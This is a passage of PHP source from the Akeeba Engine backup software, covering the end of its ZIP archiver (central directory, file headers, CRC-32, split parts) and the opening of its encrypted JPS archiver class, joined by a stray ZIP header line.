			// Calculate size of Central Directory + EOCD records
			$total_cd_eocd_size = $cdSize + 22 + $comment_length;

			// Free space on the part
			$free_space = $this->getPartFreeSize();

			if (($free_space < $total_cd_eocd_size) && ($total_cd_eocd_size > 65536))
			{
				// Not enough space on archive for CD + EOCD, will go on separate part
				$this->createAndOpenNewPart(true);
			}
		}

		/**
		 * Write the CD record
		 *
		 * Note about is_resource: in some circumstances where multipart ZIP files are generated, the $this->cdfp will
		 * contain a null value. This seems to happen when $this->fopen returns null, i.e. $this->filePointers has a
		 * null value instead of a file pointer (resource). Why this happens is unclear but the workaround is to remove
		 * the null value from $this->filePointers and retry $this->fopen. Normally this should not be required since we
		 * already to the fcloseByName/fopen dance above. This if-block is our last hope to catch a potential issue
		 * which would either make the while loop go infinite (not anymore, I've patched it) or the Central Directory
		 * not get written to the archive, which results in a broken archive.
		 */
		if (!is_resource($this->cdfp))
		{
			$this->fcloseByName($this->centralDirectoryFilename);
			$this->cdfp = $this->fopen($this->centralDirectoryFilename, "r");

			// We tried reopening the central directory file and failed again. Time to report a fatal error.
			if (!$this->cdfp)
			{
				throw new RuntimeException("Cannot open central directory temporary file {$this->centralDirectoryFilename} for reading.");
			}
		}

		while (!feof($this->cdfp) && is_resource($this->cdfp))
		{
			/**
			 * Why not split the Central Directory between parts?
			 *
			 * APPNOTE.TXT §8.5.2 "The central directory may span segment boundaries, but no single record in the
			 * central directory should be split across segments."
			 *
			 * This would require parsing the CD temp file to prevent any CD record from spanning across two parts.
			 * But how many bytes is each CD record? It's about 100 bytes per file which gives us about 10,400 files
			 * per MB. Even a 2MB part size holds more than 20,000 file records. A typical 10Mb part size holds more
			 * files than the largest backup I've ever seen. Therefore there is no need to waste computational power
			 * to see if we need to span the Central Directory between parts.
			 */
			$chunk = fread($this->cdfp, _AKEEBA_DIRECTORY_READ_CHUNK);
			$this->fwrite($this->fp, $chunk);
		}

		unset($chunk);

		// Delete the temporary CD file
		$this->fclose($this->cdfp);
		$this->cdfp = null;
		Factory::getTempFiles()->unregisterAndDeleteTempFile($this->centralDirectoryFilename);

		// 3. Write the rest of headers to the end of the ZIP file
		$this->fwrite($this->fp, $this->centralDirectoryRecordEndSignature);

		if ($this->useSplitArchive)
		{
			// Split ZIP files, enter relevant disk number information
			$this->fwrite($this->fp, pack('v', $this->totalParts - 1)); /* Number of this disk. */
			$this->fwrite($this->fp, pack('v', $this->totalParts - 1)); /* Disk with central directory start. */
		}
		else
		{
			// Non-split ZIP files, the disk number MUST be 0
			$this->fwrite($this->fp, pack('V', 0));
		}

		$this->fwrite($this->fp, pack('v', $this->totalFilesCount)); /* Total # of entries "on this disk". */
		$this->fwrite($this->fp, pack('v', $this->totalFilesCount)); /* Total # of entries overall. */
		$this->fwrite($this->fp, pack('V', $cdSize)); /* Size of central directory. */
		$this->fwrite($this->fp, pack('V', $cdOffset)); /* Offset to start of central dir. */

		// 2.0.b2 -- Write a ZIP file comment
		$this->fwrite($this->fp, pack('v', $comment_length)); /* ZIP file comment length. */
		$this->fwrite($this->fp, $this->_comment);
		$this->fclose($this->fp);

		// If Split ZIP and there is no .zip file, rename the last fragment to .ZIP
		if ($this->useSplitArchive)
		{
			$extension = substr($this->_dataFileName, -3);

			if ($extension != '.zip')
			{
				Factory::getLog()->debug('Renaming last ZIP part to .ZIP extension');

				$newName = $this->dataFileNameWithoutExtension . '.zip';

				if (!@rename($this->_dataFileName, $newName))
				{
					throw new RuntimeException('Could not rename last ZIP part to .ZIP extension.');
				}

				$this->_dataFileName = $newName;
			}

			// If Split ZIP and only one fragment, change the signature
			if ($this->totalParts == 1)
			{
				$this->fp = $this->fopen($this->_dataFileName, 'r+');
				$this->fwrite($this->fp, "\x50\x4b\x30\x30");
			}
		}

		@chmod($this->_dataFileName, $this->getPermissions());
	}

	/**
	 * Returns a string with the extension (including the dot) of the files produced
	 * by this class.
	 *
	 * @return string
	 */
	public function getExtension()
	{
		return '.zip';
	}

	/**
	 * Extend the bootstrap code to add some define's used by the ZIP format engine
	 *
	 * @return  void
	 */
	protected function __bootstrap_code()
	{
		if (!defined('_AKEEBA_COMPRESSION_THRESHOLD'))
		{
			$config = Factory::getConfiguration();
			define("_AKEEBA_COMPRESSION_THRESHOLD", $config->get('engine.archiver.common.big_file_threshold')); // Don't compress files over this size
			define("_AKEEBA_DIRECTORY_READ_CHUNK", $config->get('engine.archiver.zip.cd_glue_chunk_size')); // How much data to read at once when finalizing ZIP archives
		}

		parent::__bootstrap_code();
	}

	/**
	 * The most basic file transaction: add a single entry (file or directory) to
	 * the archive.
	 *
	 * @param   bool    $isVirtual         If true, the next parameter contains file data instead of a file name
	 * @param   string  $sourceNameOrData  Absolute file name to read data from or the file data itself is $isVirtual is
	 *                                     true
	 * @param   string  $targetName        The (relative) file name under which to store the file in the archive
	 *
	 * @return bool True on success, false otherwise
	 */
	protected function _addFile($isVirtual, &$sourceNameOrData, $targetName)
	{
		$configuration = Factory::getConfiguration();

		// Note down the starting disk number for Split ZIP archives
		$starting_disk_number_for_this_file = 0;

		if ($this->useSplitArchive)
		{
			$starting_disk_number_for_this_file = $this->currentPartNumber - 1;
		}

		// Open data file for output
		$this->openArchiveForOutput();

		// Should I continue backing up a file from the previous step?
		$continueProcessingFile = $configuration->get('volatile.engine.archiver.processingfile', false);

		// Initialize with the default values. Why are *these* values default? If we are continuing file packing, by
		// definition we have an uncompressed, non-virtual file. Hence the default values.
		$isDir             = false;
		$isSymlink         = false;
		$compressionMethod = 1;
		$zdata             = null;
		// If we are continuing file packing we have an uncompressed, non-virtual file.
		$isVirtual = $continueProcessingFile ? false : $isVirtual;
		$resume    = $continueProcessingFile ? 0 : null;

		if (!$continueProcessingFile)
		{
			// Log the file being added
			$messageSource = $isVirtual ? '(virtual data)' : "(source: $sourceNameOrData)";
			Factory::getLog()->debug("-- Adding $targetName to archive $messageSource");

			$this->writeFileHeader($sourceNameOrData, $targetName, $isVirtual, $isSymlink, $isDir,
				$compressionMethod, $zdata, $unc_len,
				$storedName, $crc, $c_len, $hexdtime, $old_offset);
		}
		else
		{
			// Since we are continuing archiving, it's an uncompressed regular file. Set up the variables.
			$sourceNameOrData = $configuration->get('volatile.engine.archiver.sourceNameOrData', '');
			$resume           = $configuration->get('volatile.engine.archiver.resume', 0);
			$unc_len          = $configuration->get('volatile.engine.archiver.unc_len');
			$storedName       = $configuration->get('volatile.engine.archiver.storedName');
			$crc              = $configuration->get('volatile.engine.archiver.crc');
			$c_len            = $configuration->get('volatile.engine.archiver.c_len');
			$hexdtime         = $configuration->get('volatile.engine.archiver.hexdtime');
			$old_offset       = $configuration->get('volatile.engine.archiver.old_offset');

			// Log the file we continue packing
			Factory::getLog()->debug("-- Resuming adding file $sourceNameOrData to archive from position $resume (total size $unc_len)");
		}

		/* "File data" segment. */
		if ($compressionMethod == 8)
		{
			$this->putRawDataIntoArchive($zdata);
		}
		elseif ($isVirtual)
		{
			// Virtual data. Put into the archive.
			$this->putRawDataIntoArchive($sourceNameOrData);
		}
		elseif ($isSymlink)
		{
			$this->fwrite($this->fp, @readlink($sourceNameOrData));
		}
		elseif ((!$isDir) && (!$isSymlink))
		{
			// Uncompressed file.
			if ($this->putUncompressedFileIntoArchive($sourceNameOrData, $unc_len, $resume) === true)
			{
				// If it returns true we are doing a step break to resume packing in the next step. So we need to return
				// true here to avoid running the final bit of code which writes the central directory record and
				// uncaches the file resume data.
				return true;
			}
		}

		// Open the central directory file for append
		if (is_null($this->cdfp))
		{
			$this->cdfp = @$this->fopen($this->centralDirectoryFilename, "a");
		}

		if ($this->cdfp === false)
		{
			throw new ErrorException("Could not open Central Directory temporary file for append!");
		}

		$this->fwrite($this->cdfp, $this->centralDirectoryRecordStartSignature);

		if (!$isSymlink)
		{
			$this->fwrite($this->cdfp, "\x14\x00"); /* Version made by (always set to 2.0). */
			$this->fwrite($this->cdfp, "\x14\x00"); /* Version needed to extract */
			$this->fwrite($this->cdfp, pack('v', 2048)); /* General purpose bit flag */
			$this->fwrite($this->cdfp, ($compressionMethod == 8) ? "\x08\x00" : "\x00\x00"); /* Compression method. */
		}
		else
		{
			// Symlinks get special treatment
			$this->fwrite($this->cdfp, "\x14\x03"); /* Version made by (version 2.0 with UNIX extensions). */
			$this->fwrite($this->cdfp, "\x0a\x03"); /* Version needed to extract */
			$this->fwrite($this->cdfp, pack('v', 2048)); /* General purpose bit flag */
			$this->fwrite($this->cdfp, "\x00\x00"); /* Compression method. */
		}

		$this->fwrite($this->cdfp, $hexdtime); /* Last mod time/date. */
		$this->fwrite($this->cdfp, $crc); /* CRC 32 information. */
		$this->fwrite($this->cdfp, pack('V', $c_len)); /* Compressed filesize. */

		if ($compressionMethod == 0)
		{
			// When we are not compressing, $unc_len is being reduced to 0 while backing up.
			// With this trick, we always store the correct length, as in this case the compressed
			// and uncompressed length is always the same.
			$this->fwrite($this->cdfp, pack('V', $c_len)); /* Uncompressed filesize. */
		}
		else
		{
			// When compressing, the uncompressed length differs from compressed length
			// and this line writes the correct value.
			$this->fwrite($this->cdfp, pack('V', $unc_len)); /* Uncompressed filesize. */
		}

		$fn_length = akstrlen($storedName);
		$this->fwrite($this->cdfp, pack('v', $fn_length)); /* Length of filename. */
		$this->fwrite($this->cdfp, pack('v', 0)); /* Extra field length. */
		$this->fwrite($this->cdfp, pack('v', 0)); /* File comment length. */
		$this->fwrite($this->cdfp, pack('v', $starting_disk_number_for_this_file)); /* Disk number start. */
		$this->fwrite($this->cdfp, pack('v', 0)); /* Internal file attributes. */

		/* External file attributes */
		if (!$isSymlink)
		{
			// Archive bit set
			$this->fwrite($this->cdfp, pack('V', $isDir ? 0x41FF0010 : 0xFE49FFE0));
		}
		else
		{
			// For SymLinks we store UNIX file attributes
			$this->fwrite($this->cdfp, "\x20\x80\xFF\xA1");
		}

		$this->fwrite($this->cdfp, pack('V', $old_offset)); /* Relative offset of local header. */
		$this->fwrite($this->cdfp, $storedName); /* File name. */

		/* Optional extra field, file comment goes here. */

		// Finally, increase the file counter by one
		$this->totalFilesCount++;

		// Uncache data
		$configuration->set('volatile.engine.archiver.sourceNameOrData', null);
		$configuration->set('volatile.engine.archiver.unc_len', null);
		$configuration->set('volatile.engine.archiver.resume', null);
		$configuration->set('volatile.engine.archiver.hexdtime', null);
		$configuration->set('volatile.engine.archiver.crc', null);
		$configuration->set('volatile.engine.archiver.c_len', null);
		$configuration->set('volatile.engine.archiver.fn_length', null);
		$configuration->set('volatile.engine.archiver.old_offset', null);
		$configuration->set('volatile.engine.archiver.storedName', null);
		$configuration->set('volatile.engine.archiver.sourceNameOrData', null);

		$configuration->set('volatile.engine.archiver.processingfile', false);

		// ... and return TRUE = success
		return true;
	}

	/**
	 * Write the file header before putting the file data into the archive
	 *
	 * @param   string  $sourceNameOrData   The path to the file being compressed, or the raw file data for virtual files
	 * @param   string  $targetName         The target path to be stored inside the archive
	 * @param   bool    $isVirtual          Is this a virtual file?
	 * @param   bool    $isSymlink          Is this a symlink?
	 * @param   bool    $isDir              Is this a directory?
	 * @param   int     $compressionMethod  The compression method chosen for this file
	 * @param   string  $zdata              If we have compression method other than 0 this holds the compressed data.
	 *                                      We return that from this method to avoid having to compress the same data
	 *                                      twice (once to write the compressed data length in the header and once to
	 *                                      write the compressed data to the archive).
	 * @param   int     $unc_len            The uncompressed size of the file / source data
	 *
	 * @param   string  $storedName         The file path stored in the archive
	 * @param   string  $crc                CRC-32 for the file
	 * @param   int     $c_len              Compressed data length
	 * @param   string  $hexdtime           ZIP's hexadecimal notation if the file's modification date
	 * @param   int     $old_offset         Offset of the file header in the part file
	 */
	protected function writeFileHeader(&$sourceNameOrData, $targetName, &$isVirtual, &$isSymlink, &$isDir,
	                                   &$compressionMethod, &$zdata, &$unc_len, &$storedName, &$crc, &$c_len,
	                                   &$hexdtime, &$old_offset)
	{
		static $memLimit = null;

		if (is_null($memLimit))
		{
			$memLimit = $this->getMemoryLimit();
		}

		$configuration = Factory::getConfiguration();

		// See if it's a directory
		$isDir = $isVirtual ? false : is_dir($sourceNameOrData);

		// See if it's a symlink (w/out dereference)
		$isSymlink = false;

		if ($this->storeSymlinkTarget && !$isVirtual)
		{
			$isSymlink = is_link($sourceNameOrData);
		}

		// Get real size before compression
		[$unc_len, $fileModTime] =
			$this->getFileSizeAndModificationTime($sourceNameOrData, $isVirtual, $isSymlink, $isDir);

		// Decide if we will compress
		$compressionMethod = $this->getCompressionMethod($unc_len, $memLimit, $isDir, $isSymlink);

		if ($isVirtual)
		{
			Factory::getLog()->debug('  Virtual add:' . $targetName . ' (' . $unc_len . ') - ' . $compressionMethod);
		}

		/* "Local file header" segment. */

		$crc = $this->getCRCForEntity($sourceNameOrData, $isVirtual, $isDir, $isSymlink);

		$storedName = $targetName;

		if (!$isSymlink && $isDir)
		{
			$storedName .= "/";
			$unc_len    = 0;
		}

		// Test for non-existing or unreadable files
		$this->testIfFileExists($sourceNameOrData, $isVirtual, $isDir, $isSymlink);

		// Default compressed (archived) length = uncompressed length – valid unless we can actually compress the data.
		$c_len = $unc_len;

		// If we have to compress, read the data in memory and compress it
		if ($compressionMethod == 8)
		{
			$this->getZData($sourceNameOrData, $isVirtual, $compressionMethod, $zdata, $unc_len, $c_len);

			// The method modifies $compressionMethod to 0 (uncompressed) or 1 (Deflate) but the ZIP format needs it
			// to be 0 (uncompressed) or 8 (Deflate). So I just multiply by 8.
			$compressionMethod *= 8;
		}

		// Get the hex time.
		$hexdtime = pack('V', $this->unix2DOSTime($fileModTime));

		// If it's a split ZIP file, we've got to make sure that the header can fit in the part
		if ($this->useSplitArchive)
		{
			// Get header size, taking into account any extra header necessary
			$header_size = 30 + akstrlen($storedName);

			// Compare to free part space
			$free_space = $this->getPartFreeSize();

			if ($free_space <= $header_size)
			{
				// Not enough space on current part, create new part
				$this->createAndOpenNewPart();
			}
		}

		$old_offset = @ftell($this->fp);

		if ($this->useSplitArchive && ($old_offset == 0))
		{
			// Because in split ZIPs we have the split ZIP marker in the first four bytes.
			@fseek($this->fp, 4);
			$old_offset = @ftell($this->fp);
		}

		// Get the file name length in bytes
		$fn_length = akstrlen($storedName);

		$this->fwrite($this->fp, $this->fileHeaderSignature); /* Begin creating the ZIP data. */

		/* Version needed to extract. */
		if (!$isSymlink)
		{
			$this->fwrite($this->fp, "\x14\x00");
		}
		else
		{
			$this->fwrite($this->fp, "\x0a\x03");
		}

		$this->fwrite($this->fp, pack('v', 2048)); /* General purpose bit flag. Bit 11 set = use UTF-8 encoding for filenames & comments */
		$this->fwrite($this->fp, ($compressionMethod == 8) ? "\x08\x00" : "\x00\x00"); /* Compression method. */
		$this->fwrite($this->fp, $hexdtime); /* Last modification time/date. */
		$this->fwrite($this->fp, $crc); /* CRC 32 information. */
		$this->fwrite($this->fp, pack('V', $c_len)); /* Compressed filesize. */
		$this->fwrite($this->fp, pack('V', $unc_len)); /* Uncompressed filesize. */
		$this->fwrite($this->fp, pack('v', $fn_length)); /* Length of filename. */
		$this->fwrite($this->fp, pack('v', 0)); /* Extra field length. */
		$this->fwrite($this->fp, $storedName); /* File name. */

		// Cache useful information about the file
		if (!$isDir && !$isSymlink && !$isVirtual)
		{
			$configuration->set('volatile.engine.archiver.unc_len', $unc_len);
			$configuration->set('volatile.engine.archiver.hexdtime', $hexdtime);
			$configuration->set('volatile.engine.archiver.crc', $crc);
			$configuration->set('volatile.engine.archiver.c_len', $c_len);
			$configuration->set('volatile.engine.archiver.fn_length', $fn_length);
			$configuration->set('volatile.engine.archiver.old_offset', $old_offset);
			$configuration->set('volatile.engine.archiver.storedName', $storedName);
			$configuration->set('volatile.engine.archiver.sourceNameOrData', $sourceNameOrData);
		}
	}

	/**
	 * Get the preferred compression method for a file
	 *
	 * @param   int   $fileSize   File size in bytes
	 * @param   int   $memLimit   Memory limit in bytes
	 * @param   bool  $isDir      Is it a directory?
	 * @param   bool  $isSymlink  Is it a symlink?
	 *
	 * @return  int  Compression method to use
	 */
	protected function getCompressionMethod($fileSize, $memLimit, $isDir, $isSymlink)
	{
		// ZIP uses 0 for uncompressed and 8 for GZip Deflate whereas the parent method returns 0 and 1 respectively
		return 8 * parent::getCompressionMethod($fileSize, $memLimit, $isDir, $isSymlink);
	}

	/**
	 * Calculate the CRC-32 checksum
	 *
	 * @param   string  $sourceNameOrData  The path to the file being compressed, or the raw file data for virtual files
	 * @param   bool    $isVirtual         Is this a virtual file?
	 * @param   bool    $isSymlink         Is this a symlink?
	 * @param   bool    $isDir             Is this a directory?
	 *
	 * @return  int  The CRC-32
	 */
	protected function getCRCForEntity(&$sourceNameOrData, &$isVirtual, &$isDir, &$isSymlink)
	{
		// No hash? No CRC32!
		if (!function_exists('hash'))
		{
			return pack('V', 0);
		}

		// Do I need to reverse the endianness of CRC32b data?
		static $reverseEndianness = null;

		if ($reverseEndianness === null)
		{
			$reverseEndianness = hash('crc32b', 'The quick brown fox jumped over the lazy dog.', true) === pack('N', 2191738434);
		}

		$entityType = 'file';
		$loggedName = null;

		// Directories: dummy CRC-32
		if (!$isSymlink && $isDir)
		{
			$entityType = 'folder';
			$crc        = pack('V', 0);
		}
		// Symlinks: CRC32 of the link source
		elseif ($isSymlink)
		{
			$entityType = 'symlink';
			$crc        = hash('crc32b', @readlink($sourceNameOrData) ?: '', true);
		}
		// Virtual files: CRC32 of the contents
		elseif ($isVirtual)
		{
			$entityType = 'virtual file';
			$loggedName = sprintf('of size %u', strlen($sourceNameOrData));
			$crc        = hash('crc32b', $sourceNameOrData ?: '', true);
		}
		// Files: CRC32 of the file contents
		else
		{
			// Get the CRC32 for the file
			$crc = function_exists("hash_file") ? @hash_file('crc32b', $sourceNameOrData, true) : null;

			// If the file was unreadable skip it
			if ($crc === false)
			{
				throw new WarningException('Could not calculate CRC32 for ' . $sourceNameOrData . '. Looks like it is an unreadable file.');
			}

			// If hash_file is not available use a fake CRC32
			$crc = $crc ?: pack('V', 0);
		}

		/**
		 * If CRC32 returns Big Endian data I'll have to convert it to Little Endian, as required by ZIP.
		 *
		 * I cannot unpack as Big Endian and repack as Little Endian. The intermediate conversion to integer might
		 * overflow 32-bit versions of PHP as its internal integer type is platform-dependent.
		 *
		 * I cannot reverse the string using string functions because the internal character encoding may be something
		 * other than ASCII / 8-bit and mb_string might not be available.
		 *
		 * Instead, I am unpacking the binary string as an array of unsigned bytes and then repacking the bytes, in
		 * reverse order, into a binary string. pack() and unpack() are not affected by the character encoding. Using
		 * unsigned bytes guarantees they will fit into internal integer variables regardless of the platform used.
		 */
		if ($crc !== "\000\000\000\000" && $reverseEndianness)
		{
			$temp = array_values(unpack('C4', $crc));
			$crc  = pack('C*', $temp[3], $temp[2], $temp[1], $temp[0]);
		}

		// Log the calculated CRC32 if the site is in debug mode
		if (defined('AKEEBADEBUG'))
		{
			$asHexChars = array_map(
				function ($c) {
					return dechex($c);
				}, unpack('C*', $crc)
			);

			Factory::getLog()->debug(
				sprintf(
					'%s %s - CRC32 = %s',
					$entityType,
					$loggedName ?? $sourceNameOrData,
					implode('', $reverseEndianness ? array_reverse($asHexChars) : $asHexChars)
				)
			);
		}

		return $crc;
	}

	/**
	 * Converts a UNIX timestamp to a 4-byte DOS date and time format
	 * (date in high 2-bytes, time in low 2-bytes allowing magnitude
	 * comparison).
	 *
	 * @param   integer  $unixtime  The current UNIX timestamp.
	 *
	 * @return integer  The current date in a 4-byte DOS format.
	 */
	protected function unix2DOSTime($unixtime = null)
	{
		$timearray = (is_null($unixtime)) ? getdate() : getdate($unixtime);

		if ($timearray['year'] < 1980)
		{
			$timearray['year']    = 1980;
			$timearray['mon']     = 1;
			$timearray['mday']    = 1;
			$timearray['hours']   = 0;
			$timearray['minutes'] = 0;
			$timearray['seconds'] = 0;
		}

		return (($timearray['year'] - 1980) << 25) |
			($timearray['mon'] << 21) |
			($timearray['mday'] << 16) |
			($timearray['hours'] << 11) |
			($timearray['minutes'] << 5) |
			($timearray['seconds'] >> 1);
	}

	/**
	 * Creates a new part for the spanned archive
	 *
	 * @param   bool  $finalPart  Is this the final archive part?
	 *
	 * @return  bool  True on success
	 */
	protected function createNewPartFile($finalPart = false)
	{
		// Close any open file pointers
		if (is_resource($this->fp))
		{
			$this->fclose($this->fp);
		}

		if (is_resource($this->cdfp))
		{
			$this->fclose($this->cdfp);
		}

		// Remove the just finished part from the list of resumable offsets
		$this->removeFromOffsetsList($this->_dataFileName);

		// Set the file pointers to null
		$this->fp   = null;
		$this->cdfp = null;

		// Push the previous part if we have to post-process it immediately
		$configuration = Factory::getConfiguration();

		if ($configuration->get('engine.postproc.common.after_part', 0))
		{
			$this->finishedPart[] = $this->_dataFileName;
		}

		// Add the part's size to our rolling sum
		clearstatcache();
		$this->totalCompressedSize += filesize($this->_dataFileName);
		$this->totalParts++;
		$this->currentPartNumber = $this->totalParts;

		if ($finalPart)
		{
			$this->_dataFileName = $this->dataFileNameWithoutExtension . '.zip';
		}
		else
		{
			$this->_dataFileName = $this->dataFileNameWithoutExtension . '.z' . sprintf('%02d', $this->currentPartNumber);
		}

		Factory::getLog()->info('Creating new ZIP part #' . $this->currentPartNumber . ', file ' . $this->_dataFileName);

		// Inform the backup engine that we have changed the multipart number
		$statistics = Factory::getStatistics();
		$statistics->updateMultipart($this->totalParts);

		// Try to remove any existing file
		@clearstatcache($this->_dataFileName);

		if (file_exists($this->_dataFileName))
		{
			@unlink($this->_dataFileName);
		}

		// Touch the new file
		$result = @touch($this->_dataFileName);

		@chmod($this->_dataFileName, $this->getPermissions());

		return $result;
	}

	/**
	 * Find the optimal chunk size for CRC32 calculations and file processing
	 *
	 * @return  void
	 */
	private function findOptimalChunkSize()
	{
		$configuration = Factory::getConfiguration();

		// The user has entered their own preference
		if ($configuration->get('engine.archiver.common.chunk_size', 0) > 0)
		{
			$this->AkeebaPackerZIP_CHUNK_SIZE = AKEEBA_CHUNK;

			return;
		}

		// Get the PHP memory limit
		$memLimit = $this->getMemoryLimit();

		// Can't get a PHP memory limit? Use 2Mb chunks (fairly large, right?)
		if (is_null($memLimit))
		{
			$this->AkeebaPackerZIP_CHUNK_SIZE = 2097152;

			return;
		}

		if (!function_exists("memory_get_usage"))
		{
			// PHP can't report memory usage, use a conservative 512Kb
			$this->AkeebaPackerZIP_CHUNK_SIZE = 524288;

			return;
		}

		// PHP *can* report memory usage, see if there's enough available memory
		$availableRAM = $memLimit - memory_get_usage();

		if ($availableRAM > 0)
		{
			$this->AkeebaPackerZIP_CHUNK_SIZE = $availableRAM * 0.5;

			return;
		}

		// NEGATIVE AVAILABLE MEMORY?!! Some borked PHP implementations also return the size of the httpd footprint.
		if (($memLimit - 6291456) > 0)
		{
			$this->AkeebaPackerZIP_CHUNK_SIZE = $memLimit - 6291456;

			return;
		}

		// If all else fails, use 2Mb and cross your fingers
		$this->AkeebaPackerZIP_CHUNK_SIZE = 2097152;
	}

	/**
	 * Create a Central Directory temporary file
	 *
	 * @return  void
	 *
	 * @throws  ErrorException
	 */
	private function createCentralDirectoryTempFile()
	{
		$configuration                  = Factory::getConfiguration();
		$this->centralDirectoryFilename = tempnam($configuration->get('akeeba.basic.output_directory'), 'akzcd');
		$this->centralDirectoryFilename = basename($this->centralDirectoryFilename);
		$pos                            = strrpos($this->centralDirectoryFilename, '/');

		if ($pos !== false)
		{
			$this->centralDirectoryFilename = substr($this->centralDirectoryFilename, $pos + 1);
		}

		$pos = strrpos($this->centralDirectoryFilename, '\\');

		if ($pos !== false)
		{
			$this->centralDirectoryFilename = substr($this->centralDirectoryFilename, $pos + 1);
		}

		$this->centralDirectoryFilename = Factory::getTempFiles()->registerTempFile($this->centralDirectoryFilename);

		Factory::getLog()->debug(__CLASS__ . " :: CntDir Tempfile = " . $this->centralDirectoryFilename);

		// Create temporary file
		if (!@touch($this->centralDirectoryFilename))
		{
			throw new ErrorException("Could not open temporary file for ZIP archiver. Please check your temporary directory's permissions!");
		}

		@chmod($this->centralDirectoryFilename, $this->getPermissions());
	}
}
PK     \Rp-a  -a  ,  vendor/akeeba/engine/engine/Archiver/Jps.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Archiver;

defined('AKEEBAENGINE') || die();

use Akeeba\Engine\Base\Exceptions\ErrorException;
use Akeeba\Engine\Base\Exceptions\WarningException;
use Akeeba\Engine\Factory;
use Akeeba\Engine\Util\Encrypt;
use Akeeba\Engine\Util\HashTrait;
use Akeeba\Engine\Util\RandomValue;

if (!defined('_JPS_MAJOR'))
{
	define('_JPS_MAJOR', 2);
	define('_JPS_MINOR', 0);
}

/**
 * JoomlaPack Archive Secure (JPS) creation class
 *
 * JPS Format 1.9 implemented, minus BZip2 compression support
 */
class Jps extends BaseArchiver
{
	use HashTrait;

	/** @var integer How many files are contained in the archive */
	private $totalFilesCount = 0;

	/** @var integer The total size of files contained in the archive as they are stored */
	private $totalCompressedSize = 0;

	/** @var integer The total size of files contained in the archive when they are extracted to disk. */
	private $totalUncompressedSize = 0;

	/** @var string Standard Header signature */
	private $archiveSignature = "\x4A\x50\x53"; // JPS

	/** @var string Standard Header signature */
	private $endOfArchiveSignature = "\x4A\x50\x45"; // JPE

	/** @var string Entity Block signature */
	private $fileHeaderSignature = "\x4A\x50\x46"; // JPF

	/** @var int Current part file number */
	private $currentPartNumber = 1;

	/** @var int Total number of part files */
	private $totalParts = 1;

	/** @var string The password to use */
	private $password = null;

	/** @var Encrypt The encryption object used in this class */
	private $encryptionObject = null;

	/** @var array Static Salt for PBKDF2 */
	private $staticSalt = "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0";

	/**
	 * Also remove the encryption object reference
	 *
	 * @codeCoverageIgnore
	 *
	 * @return  void
	 */
	public function _onSerialize()
	{
		parent::_onSerialize();

		$this->encryptionObject = null;
	}

	/**
	 * Initialises the archiver class, creating the archive from an existent
	 * installer's JPA archive.
	 *
	 * @param   string  $targetArchivePath  Absolute path to the generated archive
	 * @param   array   $options            A named key array of options (optional)
	 *
	 * @return  void
	 */
	public function initialize($targetArchivePath, $options = [])
	{
		Factory::getLog()->debug(__CLASS__ . " :: new instance - archive $targetArchivePath");

		$this->_dataFileName = $targetArchivePath;

		// Make sure the encryption functions are all there
		$this->testEncryptionAvailability();

		// Get and memorise the password
		$config         = Factory::getConfiguration();
		$this->password = $config->get('engine.archiver.jps.key', '');

		if (empty($this->password))
		{
			Factory::getLog()->warning('You are using an empty password. This is not secure at all!');
		}

		// Set up the key expansion based on preferences
		$pbkdf2UseStaticSalt = $config->get('engine.archiver.jps.pbkdf2usestaticsalt', 1);
		$this->encryptionObject
			->setPbkdf2Algorithm('sha1')
			->setPbkdf2Iterations($pbkdf2UseStaticSalt ? 128000 : 2500)
			->setPbkdf2UseStaticSalt($pbkdf2UseStaticSalt);

		// If a static salt is to be used let's create one
		if ($pbkdf2UseStaticSalt)
		{
			$rand             = new RandomValue();
			$this->staticSalt = $rand->generate(64);
			$this->encryptionObject->setPbkdf2StaticSalt($this->staticSalt);
		}

		// Should we enable split archive feature?
		$this->enableSplitArchives();

		// Should I use Symlink Target Storage?
		$this->enableSymlinkTargetStorage();

		// Create the new backup archive
		$this->createNewBackupArchive();

		// Write the initial instance of the archive header
		$this->writeArchiveHeader();
	}

	/**
	 * Updates the Standard Header with current information
	 *
	 * @return  void
	 */
	public function finalize()
	{
		// Close any open file pointers
		if (is_resource($this->fp))
		{
			$this->fclose($this->fp);
		}

		if (is_resource($this->cdfp))
		{
			$this->fclose($this->cdfp);
		}

		$this->_closeAllFiles();

		// If spanned JPS and there is no .jps file, rename the last part to .jps
		$this->renameLastPartToJps();

		// Write the end of archive header
		$this->writeEndOfArchiveHeader();
	}

	/**
	 * Returns a string with the extension (including the dot) of the files produced
	 * by this class.
	 *
	 * @return string
	 */
	public function getExtension()
	{
		return '.jps';
	}

	/**
	 * Returns the length of a string in BYTES, not characters
	 *
	 * @param   string  $string  The string to get the length for
	 *
	 * @return int The size in BYTES
	 */
	public function stringLength($string)
	{
		return function_exists('mb_strlen') ? mb_strlen($string, '8bit') : strlen($string);
	}

	/**
	 * Attempt to use mbstring for getting parts of strings
	 *
	 * @param   string    $string
	 * @param   int       $start
	 * @param   int|null  $length
	 *
	 * @return  string
	 */
	public function subString($string, $start, $length = null)
	{
		return function_exists('mb_substr') ? mb_substr($string, $start, $length, '8bit') :
			substr($string, $start, $length);
	}

	/**
	 * Outputs a Standard Header at the top of the file
	 *
	 * @return  void
	 *
	 * @throws  ErrorException
	 */
	protected function writeArchiveHeader()
	{
		if (is_null($this->fp))
		{
			$this->fp = @$this->fopen($this->_dataFileName, 'r+');
		}

		if ($this->fp === false)
		{
			throw new ErrorException('Could not open ' . $this->_dataFileName . ' for writing. Check permissions and open_basedir restrictions.');
		}

		// === HEADER ===
		$this->fwrite($this->fp, $this->archiveSignature); // ID string (JPS)
		$this->fwrite($this->fp, pack('C', _JPS_MAJOR)); // Major version
		$this->fwrite($this->fp, pack('C', _JPS_MINOR)); // Minor version
		$this->fwrite($this->fp, pack('C', $this->useSplitArchive ? 1 : 0)); // Is it a split archive?

		// === EXTRA HEADERS (JPS v2.0) ===

